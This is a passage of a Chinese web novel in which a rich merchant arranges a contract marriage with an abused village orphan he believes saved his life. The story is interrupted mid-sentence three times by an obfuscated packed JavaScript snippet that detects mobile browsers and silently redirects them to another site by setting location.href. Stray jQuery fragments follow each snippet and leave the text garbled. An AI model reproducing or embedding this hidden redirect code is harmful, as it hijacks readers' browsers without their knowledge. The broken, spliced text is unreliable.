在自己府上,南流景的着装要比先前几次见面随意许多,长发松松地挽了个发髻束在脑后,几缕发丝落在面上,衬着他没有分毫血色的面容,非但不显凌乱,反而多了几分精怪的妖冶。
南流景随意找了把椅子坐下:“太医说你恢复得不错,莫约再过七日左右便可下地了。”
这话方才已在无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768343|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数人嘴里听过,林霏清缓缓点了点头,她现在仍是躺在床上的姿势,需要侧着头,有些费力才能看到南流景,即便如此,她也有许多问题想问。
“我为何,会在您这里?”
南流景慢条斯理地重复了一遍:“你为何,会在我这里?”
从林霏清的角度,并不能很清晰地看到南流景的神情,但她仍从他的语调中,听出她这个问题不太正常。
南流景缓慢地敲了敲扶手,没有直接回答,而是道:“十五那日,你没来送货。”
“……”林霏清沉默了一瞬,“您是,专门找上门来的吗?”
不可遏制的,她脑海中浮现出,南老板在得知她没有及时送货后勃然大怒,坐着那辆华贵无比的马车,可惜在离荷花村还有一些距离的时候无法向前,不得不下车踩着泥泞的道路敲响舅舅家的门的场景。
像是知道她在想什么,那边传来一声闷笑,不过林霏清看不太清,紧接着就听到南流景带着笑意的声音响起:“的确有一部分这个的原因在。”
……
林霏清有些摸不准南老板是在开玩笑还是旁的,她讪笑了两声,大约猜到发生了什么。
想到这里,林霏清的声线认真了些许:“多谢您,”若非南老板来寻她,还不知道她会有什么下场,“诊金我会想办法还给您的,不过我不能在您府上继续叨扰了。”
话落的瞬间,南流景便反问道:“你还打算回去?”
林霏清沉默了一瞬,好不容易才保护了自己,身上的伤都还没好,面对不知消没消气的舅母,还有不知被她伤到了什么程度的表兄,林霏清都怀疑自己有没有再有一次活下来的好运。
但她无处可去。
她是一个孤女,身无分文,没有名籍,连杂工都不会雇她。
人要现实点。
自然,这些心思并不适合对南老板说,片息的沉默后,她佯装出轻快的语调:“您误会了,我只是同家里人吵了一架,再不回去,家里人只怕会着急了。”
南流景敲击扶手的声音停下了,而后是一段很长的寂静无声,林霏清原本不怎么紧张,却也在这段沉默中微微加快了心跳。
“着急什么?”终于,南流景好听的声音响起,尾音微微扬起,带着熟悉的,淡淡的讽意,“急着嫁给你那染上赌瘾的表兄?”
林霏清呼吸一滞,再提起这事,先前被赵栋碰过的地方又隐隐发痒起来。
她不适地动了动身子,随之升起的还有些不解。
南流景为何要在她面前提起此事?除了攻击她,让她难堪之外,还有别的作用吗?
林霏清下意识去看南流景的脸色,只是不知是不是他稍有移动,现在她已几乎看不到他了。
察觉不到说话人的心情,林霏清有些不安。
她没有来得及说话,南流景便继续开口,但与林霏清料想的愈演愈烈的嘲讽不同,南流景这次的语速很慢,但并没有因为缓慢而有多少温度,反而更显冰冷:“伤好之前,你可以一直待在这里,没有人会打扰你,我也不会。”
布料窸窣声传来,南流景站起身,来到林霏清床前,垂睫迎上她的目光,也就在这时,林霏清才意识到,在褪去往日那些懒散随意后,南流景的面容,锋利得有些吓人。
“而我想在你伤好之后,与你详谈一番,你我二人的婚事。”
15. 第 15 章
“你是说,你想我,赐一桩婚事给你?”此时南珠已经无法再将注意力放在奏折上了,她搁下笔,直了直腰背,眯眼看向坐在下方的人。
南流景微微掀起眼皮,神情没什么波动,坦然自若地应了一声。
如此平淡,倒有些奇怪,但这毕竟是弟弟第一次在她面前提起相关的事宜,南珠还是多了几分耐心:“哪家的姑娘?你们怎么认识的?你已经与她说定了?”
南流景道:“您不认识她,不过应当早就听说过她。”说到最后一个问题,他停顿了片刻,“我还没同她说过此事。”
南珠拧眉,语气微微严厉:“没说过你就敢过来让我赐婚?”
南流景不咸不淡道:“这不是应当的吗?总不能她答应了,我再转口一句‘我说了不算我得问问我姐’。”
与做生意不同,在这种事上,南流景有自觉承担最基本的责任。
南珠沉默了一会,没有说明到底是同意或不同意,而是提出一个很有趣的假设:“若她不答应呢?”
“……”
-
南流景站在林霏清床前,微微转动眼珠,将她的一切反应收入眼底。
茫然,无措,当然还有些许防备。
唯独没有被冒犯的不适愤怒,一点点都没有。
南流景想起那夜接林霏清时,她手上那支作为武器,却干干净净的木簪。
起码现在,她还不能及时迅速地做出保护自己的决定。
若非那夜的笑意是他真真切切看到的,恐怕他也不会相信,面前这姑娘真的救了自己。
但代价太大,只是二十两,她就差点死在那。
南流景不打算只给林霏清二十两,也不打算让她再重新回到那里,既然她现在还保护不了自己,那他可以帮忙代劳。
南流景做了决定。
他道:“而我想在你伤好之后,与你详谈一番,你我二人的婚事。”
这是他第一次求婚,想来这辈子也没机会再求第二次。
看林霏清瞬间愣住,南流景也不催促,静静望着她。
片刻后她的表情变了,意料之中的惶然,看样子已经开始思考要如何委婉地拒绝他。
南流景想起长姐的疑问:她要是不答应呢?
总有办法的。
“赵栋的情况不大好,你差一点彻底废了他。”林霏清其实很好说服,南流景最开始做生意时也不怕这样的谈判对象,他不带情绪地描绘着场景,“虽说不是没得治,但赵家治不起,若无意外,这辈子也就这样了。”
林霏清被这话吓得脸色微白。
南流景微不可查地停顿了下,继续道:“赵福何雁现在是没工夫找你,但若你主动送上门,你猜猜有几分活路?”
林霏清:……
她看向他的目光终于有些气愤了。
南流景当然不觉得林霏清会迟钝到将赵福何雁看做纯质良善的好人,或许她没打算真的回去,只是不想住在他这里才找的借口。
但不论回荷花村还是她自己想办法谋生,这两条路南流景都不打算让她走。
他一开始打算直接解决掉赵福一家,但那支木簪连血都没有沾,对他们动手,她会不高兴。
而现在,她也不高兴了,是因为他越界了吗?
按照南流景原本的计划,后面还有更直白残酷的话等着,毕竟打一个巴掌给一个甜枣,巴掌够狠,给甜枣的时候才足够动摇她。
南流景已下定决心,哪怕手段强硬也要将林霏清留在这里。
他居高临下地俯视着她,正欲开口,林霏清的反应却让他突然噤声。
林霏清没有哭,也没有继续生气,方才一瞬间的愤懑仿若南流景的错觉,她只是微微垂下眼,避开他的视线,做出聆听的模样。
驯顺、乖巧、沉默。到底谁教她被伤害时要如此反应?
南流景只觉胸口发闷,默了默,到底没说出更过分的话:“我并非要你与荷花村断绝关系,你可以回去,也可以继续帮扶赵福他们,只是若下次我来迟了呢?”
他的语气没什么起伏,仿佛在陈述一件最寻常的事实:“你独自回去,若出了什么事,我会觉得是我的责任。”
闻言,林霏清微微抬起眼皮,飞快地看了他一眼又垂下睫,低声道:“我不知道您是这样负责的一个人。”
“……”
南流景盯着她看她几息,最终扯了扯嘴角,忍不住呛声:“没想到我除了漂亮外还有旁的好处?”
林霏清一噎,记起那日想要说南老板好话,憋了半天却只出来一句“看您好看”。
呼应一般,方才看南老板那一眼在脑海中变得清晰。
乌发白肤,高瘦挺拔,五官秾艳精致,简单的装束也掩不住满身矜贵。
美丽、富有、负责,可这样的一个人,为何到现在还没有成亲呢?
林霏清犹豫片刻,还是没忍住问出声。
南流景答得很果断:“因为不想。”
每个人都有许多不得已而为之的事情,但在这些事情之外,南流景不会勉强自己做不想做的事。
林霏清不明白:“不想就可以不做吗?”
“于我而言,起码在这件事上,不想就可以不做。”
“……您向我求亲是因为想这样做吗?”
“对。”南流景斩钉截铁。
林霏清声音越发细弱:“可为什么是我呢?”
南流景扬了扬眉,面色稍霁:“你是想要我说服你吗?”
毕竟若是想要拒绝他,用不着问这么多无关的问题。
林霏清下意识张嘴想要反驳,却又觉得好像无从开口,她有些泄气地闭上嘴,静静等待南流景回应。
南流景看着她道:“因为二十两根本不够买我的命。”
“什么?”
南流景不禁因她的迟钝叹了口气:“救命之恩,区区二十两如何足够报偿?”
他有钱,也只有钱,若拿到钱能让林霏清无忧地过完下半生,他会直接把钱给她,若她一个人现在还做不到,他就想办法,顺顺当当地把钱送到她手里。
……
………
…………
“……救命之恩?”林霏清喃喃。
南流景的救命之恩,跟她有什么关系。
当初做了善事的,是阿香呀……
林霏清停住呼吸,忽然明白了什么。
南流景突然转变态度,莫名来到荷花村,本不该由他负的责任……细想之下处处怪异的地方都有了答案。
原是如此,竟是如此。
南流景根本不知道阿香,而是将她误以为当初的救命恩人。
从头到尾,只是一个误会。
林霏清一时有些失落,又觉得本该如此。
她这种人,南流景怎么可能同她求亲。
她应该告知实情。
话到嘴边,却又顿住。
林霏清并非没有听进去南流景方才的话,相反,她比南流景更清楚回去之后的后果。
其实想来,若非南流景来寻她,早在她伤了赵栋之时,便会被打死了。
“……您让我考虑一下,好吗?”
半晌,林霏清垂下眼,避开南流景的目光,低声道。
南流景盯着她看了一会,道:“好。”
林霏清勉强扯出个笑:“多谢。”
-
来到院外,银元迅速跟在南流景身后禀报:“那人名赵书源,今年十九,七年前考中秀才,六月初动身前往川阳书院读书。父母皆是荷花村村民,但父亲早年病逝,由其母温纯养育成人……”
“等等,”南流景突然打断他,“父亲病逝?他本人呢?”
银元一板一眼道:“没查到身体上有什么问题。”
南
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784600|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
流景沉吟了片刻,又问:“还未定亲吧?”
“尚未。”
“也没什么红颜知己?”
“没有。”
“好。”南流景加快了脚步,一边吩咐:“联系川阳书院的山长,请他多照顾些这个……”
“赵书源。”银元接话。
“再去查一查赵福一家,尤其是十年前左右,他们家有什么大事。”南流景微微偏过目光,看着银元,咬字重了几分,“你亲自去,仔细些。”
银元颔首:“属下明白。”
南流景眸光微沉,哪怕只短暂接触了几次,他也不觉得赵福一家有照顾一个无父无母的孤女十年的责任心,事出反常,必有妖异。
-
之后几日林霏清再没见过南流景,据侍女说南流景在那日与她见过面后便搬去了另一间府邸。
林霏清这才意识到南流景那日说的“没有人会打扰你,我也不会”到底是什么意思。
府上医师待她极为尽心,照顾她的侍女也进退得宜,但林霏清却始终惶惶不可安心,直到某日有人通传,她的舅母来见她,这份惶然终于达到顶端。
林霏清必然不可能将何雁拒之门外,须臾,何雁被带进来,两人第一次在这样的场合见面,一时都有些尴尬。
还是林霏清率先开口:“舅母,您请坐。”
她还不能下地,坐在床上说这话时,敏锐地注意到何雁眉头飞快地蹙了蹙,这一般是她即将要发怒的前兆,但这次,何雁什么都没说,看了她一眼后坐在了一旁的椅上。
两人都默契地没有提起林霏清捅的那一簪。
侍女退下,何雁左右打量了一番周遭装潢,稳重着没做出什么举动,只略有些尖锐地开口:“我竟不知你有如此心胸,只怕早瞧不上荷花村这种小地方,想飞出来了吧?”
林霏清微微抿了抿唇。
所以舅母是知道她想跟赵先生去川阳书院了吗?
事到如今,也没有再瞒的必要了,林霏清歉疚道:“抱歉。您是什么时候知道的?”
没料到她会直接承认,何雁的表情瞬间僵在脸上。
还什么时候知道的?那奸夫都跑到家里来了难道还指望她看不见吗?
林霏清微微垂睫,第一次在何雁面前坦白自己内心的想法:“我那日听到您与舅舅有意撮合我与表兄,一时有些吓住了,想着暂时离开荷花村,待两三年后再回来。舅母,我求求您,我真的不愿意……”
这话落在何雁耳中却是不知悔改的借口。她火气顿时窜了上来,厉声打断:“合着你自己心术不正还赖我们是吧?早知道你这丫头心思这么深,当初我就不该同意把你接过来!”
林霏清微怔,忙辩解道:“我不是这个意思……”
“你还敢顶嘴?”一时也顾不上还在南府,何雁几步跨到林霏清床前,一下一下戳着她的肩膀:“养条狗它都知道护在我跟前,你呢?这么多年饭吃到哪里去了?”
林霏清被戳得歪歪扭扭,感觉自己像一根兔草,或者是别的什么东西。
反正是很容易被折断的东西。
“早说你想干这个,当初春风楼的人要你的时候我就该把你送过去,现在还说不定记着我的恩!”
何雁还在唾沫横飞,林霏清却渐渐听不进去了。
她想起南流景的求亲,想起那顿打,想起阿香的话。
“清清,保护自己的机会只有一次,你一定要把握住。”
原来真正的机会在这里。
阿香,你说得对,保护自己的机会真的只有一次。
我不会错过的。
“秦柳。”林霏清第一次主动叫了南流景派来的侍女的名字。
视线越过何雁,落到立刻出现在珠帘后的秦柳身上,林霏清仿佛飘了起来,飘在半空,她看着床上的自己平静开口。
“麻烦你告诉南老板,我答应他了。”
16. 第 16 章
虽说已经下定决心,但在等待南流景来的期间,林霏清却后知后觉地紧张起来。
很早的时候林霏清就知道自己不是一个勇敢的人,她连最基本的保护自己都做不到,这不是她第一次说谎,她说的最多的谎话是对自己说“没事儿”。
不是真的觉得没事,只是这样说了之后,就会觉得只是些小事,不算伤害,也不算没保护好自己,就显得她没那么懦弱。
但嫁给表兄不是小事,林霏清没办法哄骗自己,只能想办法反抗。
现在她想到办法了,却依然惶惶,她这样懦弱的人就是这样,哪怕拿着天下最有威力的武器,也只会觉得不安。
时间在焦灼挣扎中缓缓前进,林霏清没有精力再去想舅舅舅母的事,满脑子只剩下南流景、南流景、南流景。
直到门外传来动静,林霏清从思绪中抽离出来,惊异地发现自己竟然已经能够分辨出南流景的脚步声,抬睫,正好看到南流景拨开珠帘,微微侧身,踏进内室。
时值六月,天气渐渐热了起来,但南流景外出行走期间依旧始终披着披风,他素来爱着浅色,踏进来时带着屋内都亮了几分。
林霏清只在珠帘后看了南流景一眼,随即飞快地垂下眼睫,待他进来后更是心虚地不敢开口,只死死盯着腿上盖着的锦被。
但耳朵却能清晰听见南流景踩在地毯上的脚步越来越近,不知是不是错觉,连他身上那股清冽药香都愈发浓郁。
南流景停在床边,林霏清余光能看到他浅藕色的衣摆,一道不加掩饰的直白目光落在自己头顶。
林霏清呼吸微滞。
下一瞬,一个精巧的锦盒搁在她膝头,盒盖角落还刻了一个小小的“清”字。
与此同时,南流景散漫的声音从头顶响起:“生辰礼,打开瞧瞧。”
林霏清愣住,才意识到今日是六月初五。
按原来的轨迹,今日她就该成为赵栋的新娘。
林霏清抬头看向南流景,他依旧是往日漫不经心的样子,对上她的视线微微扬了扬下巴,像是在催促她赶快打开。
林霏清收回目光,重新看向那方锦盒,沉默几息,轻轻打开盖子。
暗红色的锦缎上,一支金钗,尾端打成羽翅的形状,除此之外没有丝毫装点,大气而端庄。
南流景道:“我本打算直接送金子的,但金玉楼的人都说那样太俗。”说到这里他的尾音稍稍上扬,像是有些匪夷所思。
半晌没听到回应,南流景微微啧了一声:“怎么不说话?”
难道金钗也俗?
床上的人猛然将盖子重新合上,抬头看他,眼神有些小心翼翼。
南流景扯了扯唇,赶在她开口之前道:“客气推辞的话除外。”
“……”林霏清只好将到嘴边的话咽回去,重新想了个问题,“您怎么知道我的生辰?”
南流景慢吞吞道:“知道未婚妻的生辰不是理所应当的?我又不像某人。”
林霏清默了默,听到那句“未婚妻”莫名有些窘:“秦柳姑娘告诉您了?”
不知为何,现在再提起此事,反倒没有之前那样紧张。
南流景应了一声,从一旁拉过来张椅子坐下:“既然你已答应,那有些事我该提前与你说清楚。”
见他认真,林霏清也严肃起来,坐直了身子:“您说。”
南流景看她一眼,翘起二郎腿,十指交叠搭在腿上,缓缓道:“首先,这场婚事不会一直持续下去,不出意外三年后,你便可恢复自由身。”
还没成亲,却已经开始安排和离的事,林霏清忍不住问道:“若出了意外呢?”
南流景顿了顿,唇角浮起一抹有些古怪的笑:“那这场婚事可能会更短暂一些。”
林霏清明白了,南流景虽说现在还没有中意的女子,只是为了报恩不得不娶她,但说不定三年内就会有心动之人,到时候她起码不能成为人家的阻碍。
思至此她点点头,认真道:“好,到时候我听您安排。”
……
南流景沉默几息,有些无奈地看了她一眼,继续道:“虽说你我二人成亲,但并不代表你我便成了夫妻,你尽可以做你想做的事,也不需要对我有任何责任,更不需要顾及我的心情。”
林霏清点头:“明白,我也不会管您的。”
南流景:“……最后一条,我的私产你可随便取用,只除一点,若要给你舅舅家贴用,一次不可超过百两。”
林霏清沉默了一会,没有直接同意,而是有些疑惑道:“您之前不是,很讨厌我与他们有牵扯吗?”
南流景直言道:“我现在也很讨厌。”顿了顿,看到林霏清有些僵硬的神色,轻笑一声,“但我不想你觉得这是什么大事。”
林霏清愣住,有些不明白这话的意思,也不知道南流景是允许还是不允许。但这些都是小节,她不愿在这件事上与南流景争执,舅舅那边她会处理好,故而微微颔首,表示明白。
南流景拿起一旁的水杯喝了口,抬眼看向林霏清:“大致就这些,你有什么条件或要求,也可以现在提出来。”
林霏清想了想,轻声询问:“知道这桩婚事真相的人多吗?”
南流景:“除了我们,再只有银元一人知晓。”
林霏清:“那能不能,不要再告诉旁人?”
南流景将腿放下站起身:“可以,还有吗?比如对婚礼的要求?”
林霏清摇头,抿了抿唇:“再没有了。这些事您安排就好,我怎么都可以的。”
“最近的吉日在六月十二。”南流景说着从袖里摸出个东西,林霏清还没看清,便见一条弧线自他手中落在自己被上,定睛一瞧,是个荷包,打开里头装着满满的金瓜子。
林霏清只觉捧着金子的手都在发烫,结结巴巴道:“不是说,金子俗吗?”
南流景挑了挑眉,语气有些傲慢:“他们说了又不算,我才是老板。”
林霏清:“……”
南流景收回视线,将椅子提回原处:“这些钱你拿去花,有什么事找秦柳就好,我还有事,得出去一趟。”
林霏清还捧着一包金子里没回过神,怔怔看着南流景往屋外走去,只是走了两步,就见他不知想到什么,折返停到她床边站住。
下一瞬,她的脑袋便被拍了拍,不轻不重,有些亲昵的力道。
“生辰快乐。”
-
南流景走后,林霏清坐在床上略略平复了下心情,将礼物与金子悉数收起,却见秦柳来禀有人要见她。
林霏清温声道:“是我的舅母吗?直接请她进来就好了。”
先前她决定答应南流景,秦柳便先将何雁请了出去,可能真的是气坏了吧,半天不到又来了。
秦柳摇摇头,有些迟疑道:“是一个男子,说他叫赵书源,与您同村。”
林霏清这才想起来,她还与赵先生有约定,这些日子事情太多,竟忘了。她忙道:“快请他进来。”
秦柳应下,先出了门,没一会又回来,看着林霏清主动道:“我帮您更衣。”
林霏清也觉得自己现在这样实在不好见人,便点了点头。
秦柳简单为她换了件衣裳,束了发,看她熟练的动作,林霏清有些好奇,先前南流景一个人住,秦柳姑娘在府上是做什么的?
只是这问题涉及私隐,林霏清最多也就是心里想想。刚打理好,便听外面说赵先生到了。
秦柳将她扶到前厅坐下,随后让人将赵书源请进来,奉了茶后便退下给两人谈话的空间。
现在坐在赵先生对面,林霏清才意识到自己的出尔反尔有些过分。
她主动开口道歉:“赵先生,实在抱歉,我没办法同你一起去川阳了。”
赵先生静坐在对面,手中握着茶杯,闻言温和地笑笑,语调平稳,与平常并无异:“没关系,我只是想来看看你,身子怎么样了?”
林霏清抿唇,面上仍有些歉疚:“快好了。”
而后便是一阵沉默。
气氛有些尴尬,林霏清垂下睫,绞尽脑汁地想找一些话题,只是还没想到,对面的赵先生突然开口:“你之后还会回荷花村吗?”
林霏清一顿,这个问题她之前并没有找南流景问过,但起码成亲后要回去肯定没那么容易了。
况
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795320|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
且私心里,她并不想回去。
只是,她不知该如何向赵先生说起,她要成亲这件事。
正思索着,却突然听得院里又响起一阵脚步声,其中一道林霏清听出是南流景,除此之外还有另一人。
脚步声很快抵达前厅,南流景与一位绛衣公公一起越过门槛,看到厅中坐着的两人一时愣了愣。
四人面面相觑,场面一时有些凝滞。
南流景率先反应过来,冲着赵书源简单点了点头,随即看向林霏清:“宫中有旨意来。”
林霏清视线落到另一人手中捧的金色长盒中,喉咙微微上下滑动:“什么旨意?”
南流景笑了笑,余光瞥过赵书源,道:“自然是给你我赐婚的旨意。”
他说着,余光看到一旁赵书源的面色瞬间苍白了许多。
像是注意到他的视线,那赵书源强撑着,将茶杯搁置桌面,只是瓷木磕碰之声,到底泄露了些许心底情绪。
南流景暗嗤,而后若无其事地挪开了目光。
林霏清没注意到那边的暗流涌动,她已被圣旨二字砸得晕晕乎乎。
不过是场假婚事,为何会惊动宫里?
她还没来得及细问,捧着圣旨的那位大人便已有了动作,林霏清知道听圣旨是要跪下的,正欲起身,南流景却不轻不重地按在她肩上止住她的动作。
“又没外人,坐着就行。”
林霏清:嗯?
传旨的公公见状为难道:“南大人,这、这不合规矩。”
林霏清也向他投去一个担忧的视线,南流景只轻轻捏了捏她的肩膀,转向传旨公公,语调闲散随意:“放下就行,回去若娘娘问起,如实回禀就好,她不会为难你的。”
“可……”传旨公公面上浮现纠结之色,须臾,叹了口气,却仍不愿将圣旨如南流景所说放下就好,而是走到林霏清面前,郑重其事地递过去,“林姑娘,接旨吧。”
林霏清肩上还压着南流景的手,起不了身,只得双手接过,微微欠身,心中不安却也只能道一句“民女接旨”。
她虽不聪明,却也知道南流景在帮她说话,这个时候若坚持要按规矩接旨,才是真正辜负南流景呢。
旨意既然已经传达,传旨公公不必多停留,很快便有人引他出府,自然,少不了辛苦一趟的茶钱。
传旨公公这才舒展开眉头,满宫也找不出几件比来南府宣旨还要好的差事,赏钱给的丰厚,主子事还少,旁的都是虚的,这金锭子才是实打实的。
屋内少了一人,气氛却并未松弛下来。
林霏清看向站在原地怔愣着的赵书源,关切道:“您没事吧?”
赵书源面色有些难看,林霏清第一次见他笑得如此勉强:“你们要,成婚了?”
林霏清一默,看了眼南流景,见他没有开口的意图,只好承认道:“嗯。”
本也瞒不了多久,林霏清也没打算把真相告知给旁人,只是没想到事情进展得这么快,不过想想还有七日便是婚礼,快一点好像也是应当的。
话落,屋内陡然陷入一种诡异的宁静中。
说完话却没人接,这事对谁来说都有些尴尬。
林霏清舔了舔唇,一时有些怀疑,自己是不是说了什么污言秽语,怎么连赵先生这样温和有礼之人都无言以对?
林霏清有些无措地抬起眼,想问问南流景接下来该怎么说,却发现南流景已经不知道盯着她看了多久,眼神古怪又隐隐带着笑意。
这样看着她,难道她脑子还没好,真在不记事的情况下说了什么?
林霏清忍不住拽了拽南流景还垂在她肩旁的衣袖。
“咳。”南流景轻咳一声,眼神示意她安心,而后看向赵书源,语调一如先前漫不经心,“婚期定在六月十二,届时请柬会递到府上,若赵先生有兴趣,可前来观礼。”
……
气氛,好像,并没有和缓。
赵书源视线在林霏清抓着南流景的衣袖上凝了凝,到底控制住了情绪,平稳道:“可否容我与林姑娘私谈几句?”
南流景看着他,和善地笑了笑,说出的话却毫不留情:“不可以。”
17. 第 17 章
南流景说话总是不轻不重,带着漫不经心的闲散。但就是这样对什么都不上心的态度,才更让人觉得窝火。
赵书源咬牙,不知从哪里升上来一股气,惹得他呼吸都有几分急促。
林姑娘本对成亲无意,怎会突然转变心思答应嫁给南流景?
再说寻常婚事,从相看到礼成,少说也得几个月的时间。七日成婚?如此随便,哪里是真心求亲的样子!
赵书源张了张唇,正欲说些什么,却突然触到南流景已然有些冰冷的眼神。
他僵在原地,恍若一盆凉水从头淋下来,理智瞬间回笼。
林姑娘现在是南流景的未婚妻,他再在这里纠缠下去,只会给林姑娘带来麻烦。
沉吟片刻,赵书源看了眼正疑惑望着他的林姑娘,又看了眼嘴角含笑,面色如常的南流景,不得不松开已经在袖中紧握成拳的手,依照礼法同主人家告辞。
林霏清缓缓松开握在手中的衣料,看着赵先生离开,有些茫然。
“赵先生好像不太高兴?”
南流景抱臂侧面向她,没有回答,而是反问道:“我把他赶走,你不生气?”
“啊?”林霏清懵了懵,想了想,道,“还好吧,时辰也不早了,从京城到荷花村要好一会呢,再晚城门就落锁了。”
“……”南流景听罢眯了眯眼,就这样盯着她,仿佛在判断她说的话有几分真假。
林霏清被看得有些不好意思,垂下眼佯做看向别处。
良久,上方传来一声微微叹息,南流景再次拍了拍她的脑袋:“好了,吃饭去。”
语气莫名温和了不少。
这几日南流景从未与她同席,今日自然也不会,眼见南流景也打算离开,林霏清突然叫住他:“南老板。”
“嗯?”南流景回头。
林霏清下意识缩了缩视线,回过神强迫自己抬起眼,认认真真看着他:“多谢您。”
南流景挑眉:“谢我什么?”
林霏清低下眼:“我这几天吃得太好了。”
“这算什么?”南流景失笑,“你这动不动道谢的毛病也该改改了。”
林霏清没说话,只微微冲他抿了抿唇。
哪怕是个谎言,也多谢您,让我第一次勇敢,有个还不错的开始。
-
按理说,七日后便是婚礼,林霏清本该忙得脚不沾地,但实际上,没有一件事被拿到她面前。
她依旧该吃吃,该睡睡,按照太医的要求顾养她的身子,很快便恢复得比先前还要康健。
婚期前两天,林霏清得回荷花村待嫁,临行前,秦柳拿来了她的嫁衣。
嫁衣铺开时,林霏清倒吸了口凉气,满脑子只有一个念头——这得花多少钱。
艳红的嫁衣比她想象中华贵数倍,从前襟到裙摆,每一寸都绣满了吉祥花样,如此繁复,却安排得错落有致,不知用了什么绣法,轻抚时顺滑如水,林霏清都生怕自己粗糙的指尖刮坏了嫁衣。
看着这件嫁衣,林霏清突然有种,南流景要比她想象中,更重视这场婚事的感觉。
她的指尖抚到左边衣袖,那处空了一小片绣纹,秦柳解释:“这片是给您留的,若您有兴趣,可以自行绣上喜欢的花样。”
当地嫁娶习俗,新娘子成亲前需自己缝制嫁衣,以证心灵手巧,不过前些年战乱,哪有姑娘家有闲心完完整整缝制衣裳,讲究点的买件红衣回来自己绣,不讲究的头上扎个红发带也没人说什么。
当初赵香成亲前,就是买的红衣回来绣花样,林霏清还凑了几针热闹。
自然这都是平民百姓家的风俗,富贵人家就不一定了。
比如林霏清眼前这件嫁衣,要新娘一个人绣只怕一两年都绣不完,南流景不知砸了多少钱进去,五日便送了过来,旁的贵女没这么夸张,但应该也是差不多的路子。
最多差一两针,让新娘补一下,只当图个彩头。
林霏清想了想,虽说旁人都以为他们是真夫妻,但她自己不觉得,就算绣也不会有多少真情实意。
只是,还剩下两日,自己要是拒绝的话,只怕要劳累了绣娘们。
而且南流景如此上心,她也多少该做些什么。
“我自己来吧。”林霏清笑了笑,对秦柳道,“还有两日,就当打发时间了。”
秦柳笑:“好,那我帮您收起来,一起带回去。”
这次回荷花村,秦柳与她一道,除了她之外,还另有两个看着就很强健的嬷嬷,秦柳说,这是南流景派来保护她的。
毕竟林霏清当初伤得有多严重,府上人都看在眼里,在她们眼中,林姑娘住的荷花村与龙潭虎穴没什么两样。
林霏清倒不是很担心,旁的不论,她对家里人起码还算了解。且看上次舅母来,气成那样也只是拿指头戳了戳她,足可见南流景有多让他们敬畏了。
不过知道有人会保护她,也的确让她心安了些。
只是林霏清没想到,秦柳等人的保护竟如此,夸张。
从在赵福门前下车,到回到自己的房间,除了从南府带来的人外,林霏清一个人都没见到,若非秦柳再三保证,赵福等人还在此地居住,林霏清都要以为这院子已经空了。
余下两天,赵福等人也从未在林霏清面前露过面,故而她也不知道,赵栋现在是个什么情况。
林霏清赶在婚礼前绣好了袖口上的花样,她绣工不好,只绣了一个小小的金元宝。
算是给自己的小小祝愿。
时间一晃到了六月十二,天尚未亮,林霏清便被拉起上妆穿衣,一切尽有人动手,她只用乖乖坐着,任凭几双手装点自己。
秦柳在后面为她梳发,笑道:“姑娘平日里也该多打扮打扮,看,多漂亮。”
一旁的妆娘本是金玉楼员工,因技艺高超而被派来为新娘上妆,闻言也插话道:“姑娘上妆之后,有点像南老板。”
林霏清没想到会得到这样的评价,怔了怔,不好意思道:“太夸张了。”
南流景那容色,在她看来,就算是传说中祸国殃民的狐妖,也是当得起的。
但听到这样说,她还是忍不住多看了几眼镜子。镜中的姑娘肌肤瓷白,红唇娇妍,眼尾被拉出微微上扬的弧度,眼波流转间,竟真有几分南流景秾艳的瑰丽,只是比起南流景咄咄逼人的漂亮,她的弧度要更和婉些。
而在穿上嫁衣后,这份艳丽更是被放大了好几倍,连这间背光潦草的小屋都被衬得贵气许多。
秦柳在一旁感叹道:“今日不会有比您更美的女子了。”
此时天色微亮,屋外渐渐响起喜庆喧闹之声,仿佛前两天未出现的声音全都补在了今日。按照习俗,接下来亲朋女眷会来到屋内,为新娘增妆添彩。
第一个进来的是赵婶,赵香与林霏清是挚友,赵婶也算看着林霏清长大,如今这孩子就要出嫁,心中自是万般不舍。
林霏清手中遮面的扇子并不紧密,能依稀看到来人,她乖巧地叫了一声:“赵婶。”
“好孩子,第一次见你才那么点大,没想到一下子就要成婚了。”赵婶声音有些干哑,却还是带着欣喜,林霏清感受到有人牵起她空余的那只手,轻轻往上套了个镯子。
镯体通身碧玉,是对于庄户人来说,极为贵重的饰品。
林霏清微惊:“赵婶,这太贵重了。”
赵婶道:“不贵重我还不给你呢。”她轻轻拍了拍林霏清的肩,“当初阿香成亲前,这样的镯子买了两个,一个给她,叮嘱我另一个一定要在你成婚时送给你。”
镯体微凉,在腕间轻轻摇晃,而在年前,同样的景象也在赵香腕上出现过。
